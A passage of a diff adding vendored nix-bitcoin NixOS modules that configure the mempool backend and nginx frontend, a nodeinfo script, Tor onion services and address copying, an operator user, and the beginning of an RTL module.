This starts a simple nginx instance, configured for local usage with
|
||||
settings similar to the `mempool/frontend` Docker image.
|
||||
|
||||
IMPORTANT:
|
||||
If you want to expose the mempool frontend to the internet, you
|
||||
should create a custom nginx config that includes TLS, backend caching, rate limiting
|
||||
and performance tuning.
|
||||
For this task, reuse the config snippets from option `services.mempool.frontend.nginxConfig`.
|
||||
See also: https://github.com/fort-nix/nixbitcoin.org/blob/master/website/mempool.nix,
|
||||
which contains a mempool nginx config for public hosting (running at
|
||||
https://mempool.nixbitcoin.org).
|
||||
'';
|
||||
};
|
||||
address = mkOption {
|
||||
type = types.str;
|
||||
default = "127.0.0.1";
|
||||
description = "HTTP server address.";
|
||||
};
|
||||
port = mkOption {
|
||||
type = types.port;
|
||||
default = 60845; # A random private port
|
||||
description = "HTTP server port.";
|
||||
};
|
||||
settings = mkOption {
|
||||
type = with types; attrsOf anything;
|
||||
default = {};
|
||||
example = {
|
||||
TESTNET_ENABLED = true;
|
||||
MEMPOOL_WEBSITE_URL = "mempool.mynode.org";
|
||||
};
|
||||
description = ''
|
||||
Mempool frontend settings.
|
||||
See here for available options:
|
||||
https://github.com/mempool/mempool/blob/master/frontend/src/app/services/state.service.ts
|
||||
(`interface Env` and `defaultEnv`)
|
||||
'';
|
||||
};
|
||||
staticContentRoot = mkOption {
|
||||
type = types.path;
|
||||
default = (pkgs.callPackage ../../packages/mempool { fetchNodeModules = pkgs.callPackage ../../packages/build-support/fetch-node-modules.nix {}; }).mempool-frontend.withConfig cfg.frontend.settings;
|
||||
defaultText = "mempoolPkgs.mempool-frontend";
|
||||
description = "
|
||||
Path of the static frontend content root.
|
||||
";
|
||||
};
|
||||
nginxConfig = mkOption {
|
||||
readOnly = true;
|
||||
default = frontend.nginxConfig;
|
||||
defaultText = "(See source)";
|
||||
description = "
|
||||
An attrset of nginx config snippets for assembling a custom
|
||||
mempool nginx config.
|
||||
For details, see the source comments at the point of definition.
|
||||
";
|
||||
};
|
||||
};
|
||||
|
||||
address = mkOption {
|
||||
type = types.str;
|
||||
default = "127.0.0.1";
|
||||
description = "Mempool backend address.";
|
||||
};
|
||||
port = mkOption {
|
||||
type = types.port;
|
||||
default = 8999;
|
||||
description = "Mempool backend port.";
|
||||
};
|
||||
electrumServer = mkOption {
|
||||
type = types.enum [ "electrs" ];
|
||||
default = "electrs";
|
||||
description = ''
|
||||
The Electrum server to use for fetching address information.
|
||||
|
||||
Possible options:
|
||||
- electrs:
|
||||
Small database size, slow when querying new addresses.
|
||||
'';
|
||||
};
|
||||
settings = mkOption {
|
||||
type = with types; attrsOf (attrsOf anything);
|
||||
example = {
|
||||
MEMPOOL = {
|
||||
POLL_RATE_MS = 3000;
|
||||
STDOUT_LOG_MIN_PRIORITY = "debug";
|
||||
};
|
||||
PRICE_DATA_SERVER = {
|
||||
CLEARNET_URL = "https://myserver.org/prices";
|
||||
};
|
||||
};
|
||||
description = ''
|
||||
Mempool backend settings.
|
||||
See here for available options:
|
||||
https://github.com/mempool/mempool/blob/master/backend/src/config.ts
|
||||
'';
|
||||
};
|
||||
database = {
|
||||
name = mkOption {
|
||||
type = types.str;
|
||||
default = "mempool";
|
||||
description = "Database name.";
|
||||
};
|
||||
};
|
||||
package = mkOption {
|
||||
type = types.package;
|
||||
default = (pkgs.callPackage ../../packages/mempool { fetchNodeModules = pkgs.callPackage ../../packages/build-support/fetch-node-modules.nix {}; }).mempool-backend;
|
||||
defaultText = "mempoolPkgs.mempool-backend";
|
||||
description = "The package providing mempool binaries.";
|
||||
};
|
||||
user = mkOption {
|
||||
type = types.str;
|
||||
default = "mempool";
|
||||
description = "The user as which to run Mempool.";
|
||||
};
|
||||
group = mkOption {
|
||||
type = types.str;
|
||||
default = cfg.user;
|
||||
description = "The group as which to run Mempool.";
|
||||
};
|
||||
tor = nbLib.tor;
|
||||
};
|
||||
|
||||
# Internal read-only options used by `./nodeinfo.nix` and `./onion-services.nix`
|
||||
mempool-frontend = let
|
||||
inherit (nbLib) mkAlias;
|
||||
in {
|
||||
enable = mkAlias cfg.frontend.enable;
|
||||
address = mkAlias cfg.frontend.address;
|
||||
port = mkAlias cfg.frontend.port;
|
||||
};
|
||||
};
|
||||
|
||||
cfg = config.services.mempool;
|
||||
nbLib = config.nix-bitcoin.lib;
|
||||
nbPkgs = pkgs; # vendored: now alias to pkgs
|
||||
secretsDir = config.nix-bitcoin.secretsDir;
|
||||
|
||||
configFile = builtins.toFile "mempool-config" (builtins.toJSON cfg.settings);
|
||||
cacheDir = "/var/cache/mempool";
|
||||
|
||||
inherit (config.services)
|
||||
bitcoind
|
||||
electrs;
|
||||
|
||||
torSocket = config.services.tor.client.socksListenAddress;
|
||||
# Vendored mempool package
|
||||
fetchNodeModules = pkgs.callPackage ../../packages/build-support/fetch-node-modules.nix {};
|
||||
mempoolPkgs = pkgs.callPackage ../../packages/mempool { inherit fetchNodeModules; };
|
||||
|
||||
# See the `services.nginx` definition further below
|
||||
# on how to use these snippets.
|
||||
frontend.nginxConfig = {
|
||||
# This must be added to `services.nginx.commonHttpConfig` when
|
||||
# `mempool/location-static.conf` is used
|
||||
httpConfig = ''
|
||||
include ${mempoolPkgs.mempool-nginx-conf}/http-language.conf;
|
||||
'';
|
||||
|
||||
# Config for static website content.
|
||||
# This should be added to `services.nginx.virtualHosts.<mempool server name>.extraConfig`.
|
||||
# Adapted from mempool/nginx-mempool.conf and mempool/production/nginx/location-redirects.conf
|
||||
staticContent = ''
|
||||
index index.html;
|
||||
|
||||
add_header Cache-Control "public, no-transform";
|
||||
add_header Vary Accept-Language;
|
||||
add_header Vary Cookie;
|
||||
|
||||
include ${mempoolPkgs.mempool-nginx-conf}/location-static.conf;
|
||||
|
||||
# Redirect /api to /docs/api
|
||||
location = /api {
|
||||
return 308 https://$host/docs/api;
|
||||
}
|
||||
location = /api/ {
|
||||
return 308 https://$host/docs/api;
|
||||
}
|
||||
'';
|
||||
|
||||
# Config for backend API.
|
||||
# This should be added to `services.nginx.virtualHosts.<mempool server name>.extraConfig`.
|
||||
# Adapted from mempool/nginx-mempool.conf and mempool/production/nginx/location-api.conf.
|
||||
proxyApi = let
|
||||
backend = "http://${nbLib.addressWithPort cfg.address cfg.port}";
|
||||
in ''
|
||||
location /api/ {
|
||||
proxy_pass ${backend}/api/v1/;
|
||||
}
|
||||
location /api/v1 {
|
||||
proxy_pass ${backend};
|
||||
}
|
||||
# Websocket API
|
||||
location /api/v1/ws {
|
||||
proxy_pass ${backend};
|
||||
|
||||
# Websocket header settings
|
||||
proxy_set_header Upgrade $http_upgrade;
|
||||
proxy_set_header Connection "Upgrade";
|
||||
|
||||
# Relevant settings from `recommendedProxyConfig` (nixos/nginx/default.nix)
|
||||
# (In the above api locations, these are inherited from the parent scope)
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Forwarded-Proto $scheme;
|
||||
}
|
||||
'';
|
||||
};
|
||||
|
||||
in {
|
||||
inherit options;
|
||||
|
||||
config = mkIf cfg.enable {
|
||||
services.bitcoind.txindex = true;
|
||||
services.electrs.enable = true;
|
||||
services.mysql = {
|
||||
enable = true;
|
||||
package = pkgs.mariadb;
|
||||
ensureDatabases = [ cfg.database.name ];
|
||||
ensureUsers = [
|
||||
{
|
||||
name = cfg.user;
|
||||
ensurePermissions."${cfg.database.name}.*" = "ALL PRIVILEGES";
|
||||
}
|
||||
];
|
||||
};
|
||||
|
||||
# Available options:
|
||||
# https://github.com/mempool/mempool/blob/master/backend/src/config.ts
|
||||
services.mempool.settings = {
|
||||
MEMPOOL = {
|
||||
# mempool doesn't support regtest
|
||||
NETWORK = "mainnet";
|
||||
BACKEND = "electrum";
|
||||
HTTP_PORT = cfg.port;
|
||||
CACHE_DIR = "${cacheDir}/cache";
|
||||
STDOUT_LOG_MIN_PRIORITY = mkDefault "info";
|
||||
AUTOMATIC_POOLS_UPDATE = true;
|
||||
};
|
||||
CORE_RPC = {
|
||||
HOST = bitcoind.rpc.address;
|
||||
PORT = bitcoind.rpc.port;
|
||||
USERNAME = bitcoind.rpc.users.public.name;
|
||||
PASSWORD = "@btcRpcPassword@";
|
||||
};
|
||||
ELECTRUM = let
|
||||
server = config.services.${cfg.electrumServer};
|
||||
in {
|
||||
HOST = server.address;
|
||||
PORT = server.port;
|
||||
TLS_ENABLED = false;
|
||||
};
|
||||
DATABASE = {
|
||||
ENABLED = true;
|
||||
DATABASE = cfg.database.name;
|
||||
SOCKET = "/run/mysqld/mysqld.sock";
|
||||
PID_DIR = cacheDir;
|
||||
};
|
||||
} // optionalAttrs (cfg.tor.proxy) {
|
||||
# Use Tor for rate fetching and pool updating
|
||||
SOCKS5PROXY = {
|
||||
ENABLED = true;
|
||||
USE_ONION = true;
|
||||
HOST = torSocket.addr;
|
||||
PORT = torSocket.port;
|
||||
};
|
||||
};
|
||||
|
||||
systemd.services.mempool = rec {
|
||||
wantedBy = [ "multi-user.target" ];
|
||||
requires = [ "mysql.service" ];
|
||||
wants = [ "${cfg.electrumServer}.service" ];
|
||||
after = requires ++ wants;
|
||||
preStart = ''
|
||||
mkdir -p '${cacheDir}/cache'
|
||||
<${configFile} sed \
|
||||
-e "s|@btcRpcPassword@|$(cat ${secretsDir}/bitcoin-rpcpassword-public)|" \
|
||||
> '${cacheDir}/config.json'
|
||||
'';
|
||||
environment.MEMPOOL_CONFIG_FILE = "${cacheDir}/config.json";
|
||||
serviceConfig = nbLib.defaultHardening // {
|
||||
ExecStart = "${cfg.package}/bin/mempool-backend";
|
||||
CacheDirectory = "mempool";
|
||||
CacheDirectoryMode = "770";
|
||||
# Show "mempool" instead of "node" in the journal
|
||||
SyslogIdentifier = "mempool";
|
||||
User = cfg.user;
|
||||
Restart = "on-failure";
|
||||
RestartSec = "10s";
|
||||
} // nbLib.allowedIPAddresses cfg.tor.enforce
|
||||
// nbLib.nodejs;
|
||||
};
|
||||
|
||||
services.nginx = mkIf cfg.frontend.enable {
|
||||
enable = true;
|
||||
enableReload = true;
|
||||
recommendedBrotliSettings = true;
|
||||
recommendedGzipSettings = true;
|
||||
recommendedOptimisation = true;
|
||||
recommendedProxySettings = true;
|
||||
recommendedTlsSettings = true;
|
||||
commonHttpConfig = frontend.nginxConfig.httpConfig;
|
||||
virtualHosts."mempool" = {
|
||||
serverName = "_";
|
||||
listen = [ { addr = cfg.frontend.address; port = cfg.frontend.port; } ];
|
||||
root = cfg.frontend.staticContentRoot;
|
||||
extraConfig =
|
||||
frontend.nginxConfig.staticContent +
|
||||
frontend.nginxConfig.proxyApi;
|
||||
};
|
||||
};
|
||||
|
||||
users.users.${cfg.user} = {
|
||||
isSystemUser = true;
|
||||
group = cfg.group;
|
||||
extraGroups = [ "bitcoinrpc-public" ];
|
||||
};
|
||||
users.groups.${cfg.group} = {};
|
||||
};
|
||||
}
|
||||
@@ -0,0 +1,60 @@
|
||||
{ config, pkgs, lib, ... }:
|
||||
|
||||
with lib;
|
||||
{
|
||||
options = {
|
||||
nix-bitcoin = {
|
||||
# Kept for compatibility, now simply aliases system pkgs
|
||||
pkgs = mkOption {
|
||||
type = types.attrs;
|
||||
default = pkgs;
|
||||
defaultText = "pkgs";
|
||||
description = "Alias to system pkgs (vendored nix-bitcoin now uses nixpkgs directly).";
|
||||
};
|
||||
|
||||
useVersionLockedPkgs = mkOption {
|
||||
type = types.bool;
|
||||
default = false;
|
||||
description = "Deprecated — vendored modules always use system pkgs.";
|
||||
};
|
||||
|
||||
pkgOverlays = mkOption {
|
||||
internal = true;
|
||||
type = with types; functionTo attrs;
|
||||
default = _: _: {};
|
||||
description = "Deprecated stub.";
|
||||
};
|
||||
|
||||
lib = mkOption {
|
||||
readOnly = true;
|
||||
default = import ./lib.nix lib pkgs config;
|
||||
defaultText = "vendor/nix-bitcoin/lib.nix";
|
||||
};
|
||||
|
||||
torClientAddressWithPort = mkOption {
|
||||
readOnly = true;
|
||||
default = with config.services.tor.client.socksListenAddress;
|
||||
"${addr}:${toString port}";
|
||||
defaultText = "(See source)";
|
||||
};
|
||||
|
||||
torify = mkOption {
|
||||
readOnly = true;
|
||||
default = pkgs.writers.writeBashBin "torify" ''
|
||||
${pkgs.tor}/bin/torify \
|
||||
--address ${config.services.tor.client.socksListenAddress.addr} \
|
||||
"$@"
|
||||
'';
|
||||
defaultText = "(See source)";
|
||||
};
|
||||
|
||||
runAsUserCmd = mkOption {
|
||||
readOnly = true;
|
||||
default = if config.security.doas.enable
|
||||
then "doas -u"
|
||||
else "sudo -u";
|
||||
defaultText = "(See source)";
|
||||
};
|
||||
};
|
||||
};
|
||||
}
|
||||
@@ -0,0 +1,154 @@
|
||||
{ config, lib, pkgs, ... }:
|
||||
|
||||
with lib;
|
||||
let
|
||||
options = {
|
||||
nix-bitcoin.nodeinfo = {
|
||||
enable = mkEnableOption "nodeinfo";
|
||||
|
||||
program = mkOption {
|
||||
readOnly = true;
|
||||
default = script;
|
||||
defaultText = "(See source)";
|
||||
};
|
||||
|
||||
services = mkOption {
|
||||
internal = true;
|
||||
type = types.attrs;
|
||||
default = {};
|
||||
defaultText = "(See source)";
|
||||
description = ''
|
||||
Nodeinfo service definitions.
|
||||
'';
|
||||
};
|
||||
|
||||
lib = mkOption {
|
||||
internal = true;
|
||||
readOnly = true;
|
||||
default = nodeinfoLib;
|
||||
defaultText = "(See source)";
|
||||
description = ''
|
||||
Helper functions for defining nodeinfo services.
|
||||
'';
|
||||
};
|
||||
};
|
||||
};
|
||||
|
||||
cfg = config.nix-bitcoin.nodeinfo;
|
||||
nbLib = config.nix-bitcoin.lib;
|
||||
|
||||
script = pkgs.writeScriptBin "nodeinfo" ''
|
||||
#!${pkgs.python3}/bin/python
|
||||
|
||||
import json
|
||||
import subprocess
|
||||
import sys
|
||||
from collections import OrderedDict
|
||||
|
||||
def success(*args):
|
||||
return subprocess.call(args, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) == 0
|
||||
|
||||
def is_active(unit):
|
||||
return success("systemctl", "is-active", "--quiet", unit)
|
||||
|
||||
def is_enabled(unit):
|
||||
return success("systemctl", "is-enabled", "--quiet", unit)
|
||||
|
||||
def cmd(*args):
|
||||
return subprocess.run(args, stdout=subprocess.PIPE).stdout.decode('utf-8')
|
||||
|
||||
def shell(*args):
|
||||
return cmd("bash", "-c", *args).strip()
|
||||
|
||||
infos = OrderedDict()
|
||||
operator = "${config.nix-bitcoin.operator.name}"
|
||||
|
||||
def get_onion_address(name, port):
|
||||
path = f"/var/lib/onion-addresses/{operator}/{name}"
|
||||
try:
|
||||
with open(path, "r") as f:
|
||||
onion_address = f.read().strip()
|
||||
except OSError:
|
||||
print(f"error reading file {path}", file=sys.stderr)
|
||||
return
|
||||
return f"{onion_address}:{port}"
|
||||
|
||||
def add_service(service, make_info, systemd_service = None):
|
||||
systemd_service = systemd_service or service
|
||||
if not is_active(systemd_service):
|
||||
infos[service] = f"'{systemd_service}.service' is not running"
|
||||
else:
|
||||
info = OrderedDict()
|
||||
exec(make_info, globals(), locals())
|
||||
infos[service] = info
|
||||
|
||||
if is_enabled("onion-addresses") and not is_active("onion-addresses"):
|
||||
print("error: service 'onion-addresses' is not running")
|
||||
exit(1)
|
||||
|
||||
${concatStrings infos}
|
||||
|
||||
print(json.dumps(infos, indent=2))
|
||||
'';
|
||||
|
||||
infos = map (serviceName:
|
||||
let serviceCfg = config.services.${serviceName};
|
||||
in optionalString serviceCfg.enable (cfg.services.${serviceName} serviceName serviceCfg)
|
||||
) (builtins.attrNames cfg.services);
|
||||
|
||||
nodeinfoLib = rec {
|
||||
mkInfo = extraCode: name: cfg:
|
||||
mkInfoLong {
|
||||
inherit extraCode name cfg;
|
||||
};
|
||||
|
||||
mkInfoLong = { extraCode ? "", name, cfg, systemdServiceName ? name }: ''
|
||||
add_service("${name}", """
|
||||
info["local_address"] = "${nbLib.addressWithPort cfg.address cfg.port}"
|
||||
'' + mkIfOnionPort name (onionPort: ''
|
||||
info["onion_address"] = get_onion_address("${name}", ${onionPort})
|
||||
'') + extraCode + ''
|
||||
|
||||
""", "${systemdServiceName}")
|
||||
'';
|
||||
|
||||
mkIfOnionPort = name: fn:
|
||||
if onionServices ? ${name} then
|
||||
fn (toString (builtins.elemAt onionServices.${name}.map 0).port)
|
||||
else
|
||||
"";
|
||||
};
|
||||
|
||||
inherit (config.services.tor.relay) onionServices;
|
||||
in {
|
||||
inherit options;
|
||||
|
||||
config = mkIf cfg.enable {
|
||||
environment.systemPackages = [ script ];
|
||||
|
||||
nix-bitcoin.operator.enable = true;
|
||||
|
||||
nix-bitcoin.nodeinfo.services = with nodeinfoLib; {
|
||||
bitcoind = mkInfo "";
|
||||
lnd = name: cfg: mkInfo (''
|
||||
info["rest_address"] = "${nbLib.addressWithPort cfg.restAddress cfg.restPort}"
|
||||
'' + mkIfOnionPort "lnd-rest" (onionPort: ''
|
||||
info["onion_rest_address"] = get_onion_address("lnd-rest", ${onionPort})
|
||||
'') + ''
|
||||
info["nodeid"] = shell("lncli getinfo | jq -r '.identity_pubkey'")
|
||||
'') name cfg;
|
||||
electrs = mkInfo "";
|
||||
btcpayserver = mkInfo "";
|
||||
rtl = mkInfo "";
|
||||
mempool = mkInfo "";
|
||||
mempool-frontend = name: cfg: mkInfoLong {
|
||||
inherit name cfg;
|
||||
systemdServiceName = "nginx";
|
||||
};
|
||||
# Only add sshd when it has an onion service
|
||||
sshd = name: cfg: mkIfOnionPort "sshd" (onionPort: ''
|
||||
add_service("sshd", """info["onion_address"] = get_onion_address("sshd", ${onionPort})""")
|
||||
'');
|
||||
};
|
||||
};
|
||||
}
|
||||
@@ -0,0 +1,106 @@
|
||||
# This module enables unprivileged users to read onion addresses.
|
||||
# By default, onion addresses in /var/lib/tor/onion are only readable by the
|
||||
# tor user.
|
||||
# The included service copies onion addresses to /var/lib/onion-addresses/<user>/
|
||||
# and sets permissions according to option 'access'.
|
||||
|
||||
{ config, lib, ... }:
|
||||
|
||||
with lib;
|
||||
let
|
||||
options.nix-bitcoin.onionAddresses = {
|
||||
access = mkOption {
|
||||
type = with types; attrsOf (listOf str);
|
||||
default = {};
|
||||
description = ''
|
||||
This option controls who is allowed to access onion addresses.
|
||||
For example, the following allows user 'myuser' to access bitcoind
|
||||
and clightning onion addresses:
|
||||
```nix
|
||||
{
|
||||
"myuser" = [ "bitcoind" "clightning" ];
|
||||
};
|
||||
```
|
||||
The onion hostnames can then be read from
|
||||
{file}`/var/lib/onion-addresses/myuser`.
|
||||
'';
|
||||
};
|
||||
services = mkOption {
|
||||
type = with types; listOf str;
|
||||
default = [];
|
||||
description = ''
|
||||
Services that can access their onion address via file
|
||||
{file}`/var/lib/onion-addresses/<service>`
|
||||
The file is readable only by the service user.
|
||||
'';
|
||||
};
|
||||
dataDir = mkOption {
|
||||
readOnly = true;
|
||||
default = "/var/lib/onion-addresses";
|
||||
};
|
||||
};
|
||||
|
||||
cfg = config.nix-bitcoin.onionAddresses;
|
||||
nbLib = config.nix-bitcoin.lib;
|
||||
in {
|
||||
inherit options;
|
||||
|
||||
config = mkIf (cfg.access != {} || cfg.services != []) {
|
||||
systemd.services.onion-addresses = {
|
||||
wantedBy = [ "tor.service" ];
|
||||
bindsTo = [ "tor.service" ];
|
||||
after = [ "tor.service" ];
|
||||
serviceConfig = nbLib.defaultHardening // {
|
||||
Type = "oneshot";
|
||||
RemainAfterExit = true;
|
||||
StateDirectory = "onion-addresses";
|
||||
StateDirectoryMode = "771";
|
||||
PrivateNetwork = true; # This service needs no network access
|
||||
PrivateUsers = false;
|
||||
CapabilityBoundingSet = "CAP_CHOWN CAP_FSETID CAP_SETFCAP CAP_DAC_OVERRIDE CAP_DAC_READ_SEARCH CAP_FOWNER CAP_IPC_OWNER";
|
||||
};
|
||||
script = ''
|
||||
waitForFile() {
|
||||
file=$1
|
||||
for ((i=0; i<300; i++)); do
|
||||
if [[ -e $file ]]; then
|
||||
return;
|
||||
fi
|
||||
sleep 0.1
|
||||
done
|
||||
echo "Error: File $file did not appear after 30 sec."
|
||||
exit 1
|
||||
}
|
||||
|
||||
# Wait until tor is up
|
||||
waitForFile /var/lib/tor/state
|
||||
|
||||
cd ${cfg.dataDir}
|
||||
rm -rf ./*
|
||||
|
||||
${concatMapStrings
|
||||
(user: ''
|
||||
mkdir -p -m 0700 ${user}
|
||||
chown ${user} ${user}
|
||||
${concatMapStrings
|
||||
(service: ''
|
||||
onionFile='/var/lib/tor/onion/${service}/hostname'
|
||||
waitForFile "$onionFile"
|
||||
cp "$onionFile" '${user}/${service}'
|
||||
chown '${user}' '${user}/${service}'
|
||||
'')
|
||||
cfg.access.${user}
|
||||
}
|
||||
'')
|
||||
(builtins.attrNames cfg.access)
|
||||
}
|
||||
|
||||
${concatMapStrings (service: ''
|
||||
onionFile=/var/lib/tor/onion/${service}/hostname
|
||||
waitForFile "$onionFile"
|
||||
install -D -o ${config.systemd.services.${service}.serviceConfig.User} -m 400 "$onionFile" services/${service}
|
||||
'') cfg.services}
|
||||
'';
|
||||
};
|
||||
};
|
||||
}
|
||||
@@ -0,0 +1,119 @@
|
||||
# This module creates onion-services for NixOS services.
|
||||
# An onion service can be enabled for every service that defines
|
||||
# options 'address', 'port' and optionally 'getPublicAddressCmd'.
|
||||
#
|
||||
# See it in use at ./presets/enable-tor.nix
|
||||
|
||||
{ config, lib, pkgs, ... }:
|
||||
|
||||
with lib;
|
||||
let
|
||||
options.nix-bitcoin.onionServices = mkOption {
|
||||
default = {};
|
||||
type = with types; attrsOf (submodule (
|
||||
{ config, ... }: {
|
||||
options = {
|
||||
enable = mkOption {
|
||||
type = types.bool;
|
||||
default = config.public;
|
||||
description = ''
|
||||
Create an onion service for the given service.
|
||||
The service must define options {option}`address` and {option}`onionPort` (or `port`).
|
||||
'';
|
||||
};
|
||||
public = mkOption {
|
||||
type = types.bool;
|
||||
default = false;
|
||||
description = ''
|
||||
Make the onion address accessible to the service.
|
||||
If enabled, the onion service is automatically enabled.
|
||||
Only available for services that define option {option}`getPublicAddressCmd`.
|
||||
'';
|
||||
};
|
||||
externalPort = mkOption {
|
||||
type = types.nullOr types.port;
|
||||
default = null;
|
||||
description = "Override the external port of the onion service.";
|
||||
};
|
||||
};
|
||||
}
|
||||
));
|
||||
};
|
||||
|
||||
cfg = config.nix-bitcoin.onionServices;
|
||||
nbLib = config.nix-bitcoin.lib;
|
||||
|
||||
onionServices = builtins.attrNames cfg;
|
||||
|
||||
activeServices = builtins.filter (service:
|
||||
config.services.${service}.enable && cfg.${service}.enable
|
||||
) onionServices;
|
||||
|
||||
publicServices = builtins.filter (service: cfg.${service}.public) activeServices;
|
||||
in {
|
||||
inherit options;
|
||||
|
||||
config = mkMerge [
|
||||
(mkIf (activeServices != []) {
|
||||
# Define hidden services
|
||||
services.tor = {
|
||||
enable = true;
|
||||
relay.onionServices = genAttrs activeServices (name:
|
||||
let
|
||||
service = config.services.${name};
|
||||
inherit (cfg.${name}) externalPort;
|
||||
in nbLib.mkOnionService {
|
||||
port = if externalPort != null then externalPort else service.port;
|
||||
target.port = service.onionPort or service.port;
|
||||
target.addr = nbLib.address service.address;
|
||||
}
|
||||
);
|
||||
};
|
||||
|
||||
nix-bitcoin.onionAddresses = {
|
||||
# Enable public services to access their own onion addresses
|
||||
services = publicServices;
|
||||
|
||||
# Allow the operator user to access onion addresses for all active services
|
||||
access.${config.nix-bitcoin.operator.name} = mkIf config.nix-bitcoin.operator.enable activeServices;
|
||||
};
|
||||
systemd.services = let
|
||||
onionAddresses = [ "onion-addresses.service" ];
|
||||
in genAttrs publicServices (service: {
|
||||
# TODO-EXTERNAL: Instead of `wants`, use a future systemd dependency type
|
||||
# that propagates initial start failures but no restarts
|
||||
wants = onionAddresses;
|
||||
after = onionAddresses;
|
||||
});
|
||||
})
|
||||
|
||||
# Set getPublicAddressCmd for public services
|
||||
{
|
||||
services = let
|
||||
# publicServices' doesn't depend on config.services.*.enable,
|
||||
# so we can use it to define config.services without causing infinite recursion
|
||||
publicServices' = builtins.filter (service:
|
||||
let srv = cfg.${service};
|
||||
in srv.public && srv.enable
|
||||
) onionServices;
|
||||
in genAttrs publicServices' (service: {
|
||||
getPublicAddressCmd = "cat ${config.nix-bitcoin.onionAddresses.dataDir}/services/${service}";
|
||||
});
|
||||
}
|
||||
|
||||
# Set sensible defaults for some services
|
||||
{
|
||||
nix-bitcoin.onionServices = {
|
||||
btcpayserver = {
|
||||
externalPort = 80;
|
||||
};
|
||||
rtl = {
|
||||
externalPort = 80;
|
||||
};
|
||||
mempool-frontend = {
|
||||
externalPort = 80;
|
||||
};
|
||||
};
|
||||
}
|
||||
];
|
||||
}
|
||||
@@ -0,0 +1,58 @@
|
||||
{ config, lib, pkgs, ... }:
|
||||
|
||||
with lib;
|
||||
let
|
||||
options.nix-bitcoin.operator = {
|
||||
enable = mkOption {
|
||||
type = types.bool;
|
||||
default = false;
|
||||
description = ''
|
||||
Whether to define a user named `operator` for convenient interactive access
|
||||
to nix-bitcoin features (like `bitcoin-cli`).
|
||||
|
||||
When using nix-bitcoin as part of a larger system config, it makes sense
|
||||
to set your main system user as the operator, by setting option
|
||||
`nix-bitcoin.operator.name = "MAIN_USER_NAME";`.
|
||||
'';
|
||||
};
|
||||
name = mkOption {
|
||||
type = types.str;
|
||||
default = "operator";
|
||||
description = "Name of the operator user.";
|
||||
};
|
||||
groups = mkOption {
|
||||
type = with types; listOf str;
|
||||
default = [];
|
||||
description = "Extra groups of the operatur user.";
|
||||
};
|
||||
allowRunAsUsers = mkOption {
|
||||
type = with types; listOf str;
|
||||
default = [];
|
||||
description = "Users as which the operator is allowed to run commands.";
|
||||
};
|
||||
};
|
||||
|
||||
cfg = config.nix-bitcoin.operator;
|
||||
in {
|
||||
inherit options;
|
||||
|
||||
config = mkIf cfg.enable {
|
||||
users.users.${cfg.name} = {
|
||||
isNormalUser = true;
|
||||
extraGroups = [
|
||||
"systemd-journal"
|
||||
"proc" # Enable full /proc access and systemd-status
|
||||
] ++ cfg.groups;
|
||||
};
|
||||
|
||||
security = mkIf (cfg.allowRunAsUsers != []) {
|
||||
# Use doas instead of sudo if enabled
|
||||
doas.extraConfig = mkIf config.security.doas.enable ''
|
||||
${lib.concatMapStrings (user: "permit nopass ${cfg.name} as ${user}\n") cfg.allowRunAsUsers}
|
||||
'';
|
||||
sudo.extraConfig = mkIf (!config.security.doas.enable) ''
|
||||
${cfg.name} ALL=(${builtins.concatStringsSep "," cfg.allowRunAsUsers}) NOPASSWD: ALL
|
||||
'';
|
||||
};
|
||||
};
|
||||
}
|
||||
@@ -0,0 +1,216 @@
|
||||
{ config, lib, pkgs, ... }:
|
||||
|
||||
with lib;
|
||||
let
|
||||
options.services.rtl = {
|
||||
enable = mkEnableOption "RTL, a web interface for LND";
|
||||
|
||||
address = mkOption {
|
||||
type = types.str;
|
||||
default = "127.0.0.1";
|
||||
description = "Address to listen for HTTP connections.";
|
||||
};
|
||||
|
||||
port = mkOption {
|
||||
type = types.port;
|
||||
default = 3000;
|
||||
description = "Port to listen for HTTP connections.";
|
||||
};
|
||||
|
||||
dataDir = mkOption {
|
||||
type = types.path;
|
||||
default = "/var/lib/rtl";
|
||||
description = "The data directory for RTL.";
|
||||
};
|
||||
|
||||
nightTheme = mkOption {
|
||||
type = types.bool;
|
||||
default = false;
|
||||
description = "Enable night theme by default.";
|
||||
};
|
||||
|
||||
extraCurrency = mkOption {
|
||||
type = types.nullOr types.str;
|
||||
default = null;
|
||||
example = "USD";
|
||||
description = ''
|
||||
Additional currency for displaying amounts.
|
||||
When set, Tor is disabled for the RTL service to allow currency rate fetching.
|
||||
'';
|
||||
};
|
||||
|
||||
nodes = {
|
||||
lnd = {
|
||||
enable = mkOption {
|
||||
type = types.bool;
|
||||
default = false;
|
||||
description = "Enable LND node in RTL.";
|
||||
};
|
||||
loop = mkOption {
|
||||
type = types.bool;
|
||||
default = false;
|
||||
description = "Enable Lightning Loop integration (requires loopd).";
|
||||
};
|
||||
};
|
||||
clightning = {
|
||||
enable = mkOption {
|
||||
type = types.bool;
|
||||
default = false;
|
||||
description = "Enable Core Lightning node in RTL (not supported in Sovran).";
|
||||
};
|
||||
};
|
||||
};
|
||||
|
||||
user = mkOption {
|
||||
type = types.str;
|
||||
default = "rtl";
|
||||
description = "The user as which to run RTL.";
|
||||
};
|
||||
|
||||
group = mkOption {
|
||||
type = types.str;
|
||||
default = cfg.user;
|
||||
description = "The group as which to run RTL.";
|
||||
};
|
||||
|
||||
tor = nbLib.tor;
|
||||
};
|
||||
|
||||
cfg = config.services.rtl;
|
||||
nbLib = config.nix-bitcoin.lib;
|
||||
secretsDir = config.nix-bitcoin.secretsDir;
|
||||
|
||||
# Vendored RTL package
|
||||
fetchNodeModules = pkgs.callPackage ../../packages/build-support/fetch-node-modules.nix {};
|
||||
rtlPackage = pkgs.callPackage ../../packages/rtl { inherit fetchNodeModules; };
|
||||
|
||||
runePath = "${cfg.dataDir}/CLN-Rune.env";
|
||||
|
||||
rtlConfig = {
|
||||
multiPass = "@multiPass@";
|
||||
port = cfg.port;
|
||||
host = cfg.address;
|
||||
defaultNodeIndex = 1;
|
||||
dbDirectoryPath = cfg.dataDir;
|
||||
SSO = {
|
||||
rtlSSO = 0;
|
||||
rtlCookiePath = "";
|
||||
logoutRedirectLink = "";
|
||||
};
|
||||
nodes = optional cfg.nodes.lnd.enable ({
|
||||
index = 1;
|
||||
lnNode = "lnd";
|
||||
lnImplementation = "LND";
|
||||
authentication = {
|
||||
macaroonPath = "${cfg.dataDir}/macaroons";
|
||||
